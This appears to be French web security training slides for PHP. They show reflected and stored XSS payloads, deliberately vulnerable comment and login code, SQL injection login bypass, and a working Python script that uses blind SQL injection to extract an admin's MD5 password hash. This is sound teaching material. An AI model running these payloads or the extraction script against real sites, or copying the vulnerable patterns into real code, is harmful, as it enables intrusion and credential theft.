On Github lovenunu / security-slides
Écrit pour PHP, mais réutilisable dans les autres languages. Ou comment devenir paranoiaque en 10 minutes.
<img src="image-<?php echo isset($_GET['i']) ? $_GET['i'] : 1; ?>.png" />
Il suffit d'accéder à l'adresse
http://victime.tld/?i=1.png"/><script>alert("PoC");</script><img src="image-1
Pour obtenir
<img src="image-1.png"/><script>alert("PoC");</script><img src="image-1.png" />
<form action="validation.php" method="post"> <label for="commentaire">Votre commentaire: </label> <textarea name="commentaire" id="commentaire"></textarea> <input type="submit" value="Envoyer" /> </form>
<?php if (isset($_POST["commentaire"]) && !empty($_POST["commentaire"])) { $storage->insert($_POST["commentaire"]); }
<?php foreach ($storage->all() as $comment) { echo "<div class='commentaire'>$comment</div>"; }
<?php if (isset($_POST["commentaire"]) && !empty($_POST["commentaire"])) { if (htmlspecialchars($_POST["commentaire"]) != $_POST["commentaire"]) { echo "NO!"; exit; } $storage->insert(["commentaire"]); }
<?php if (isset($_POST["commentaire"]) && !empty($_POST["commentaire"])) { $storage->insert(htmlspecialchars(["commentaire"])); }
<?php foreach ($storage->all() as $comment) { echo "<div class='commentaire'>".htmlspecialchars($comment)."</div>"; }
<?php if (isset($_POST["login"]) && isset($_POST["pass"])) { $query = "SELECT * FROM user WHERE login=\"".$_POST["login"]."\" AND password=\"".md5($_POST["pass"])."\""; $res = mysql_query($query); if (1 !== mysql_num_rows($res)) { echo "Erreur d'authentification"; exit; } $data = mysql_fetch_array($res); if ($data["login"] == $_POST["login"] && $data["password"] == md5($_POST["pass"])) { echo "Bonjour, ".$data["login"]; exit; } } echo "Bonjour, invité";
login: " OR 1=1 # pass: lolxDmdr
Ce qui donne
SELECT * FROM user WHERE login="" OR 1=1 #" AND password="lolxDmdr"
Cas 1: Réponse: Bonjour, invité Cas 2: Réponse: Erreur d'authentification
Le mot de passe est hashé en md5. Il contient donc 32 caractères entre 0-9a-f
login: admin" AND password LIKE "%" # pass:
SELECT * FROM user WHERE login="admin" AND password LIKE "%" #" AND password=" "
La réponse
Bonjour, invité
Ok, allons plus loin
SELECT * FROM user WHERE login="admin" AND password LIKE "a%" #" AND password=" "
La réponse
Erreur d'authentification
La requête ne retourne aucun résultat: le hash du mot de passe ne commence pas par a
SELECT * FROM user WHERE login="admin" AND password LIKE "b%" #" AND password=" "
La réponse
Bonjour, invité
Le hash commence par b. Automatisons le bruteforce
#!/usr/bin/env python #-*- coding: utf-8 -*- import urllib def getNextChar(char): if char == "9": return "a" if char == "f": raise Exception # oops return chr(ord(char) + 1) def isValidResponse(response): return response == "Bonjour, invité" p = "b" char = "0" while len(p) != 32: maybePass = p + char data = urllib.urlencode({ "login": 'admin" AND password LIKE "'+maybePass+'%" #', "pass": " " }) response = urllib.urlopen("http://victime.tld/login.php", data).read() if (isValidResponse(response)): p = maybePass char = "0" else: char = getNextChar(char) print p
C'était fastidieux mais on l'a fait ! Le hash du mot de passe est donc: b6edd10559b20cb0a3ddaeb15e5267cc
Utilisons une resource en ligne pour voir si ce hash est connu
Donnée aléatoire transmit et vérifé par le serveur permettant de s'assurer que quelqu'un n'a pas envoyé le formulaire sans le connaitre.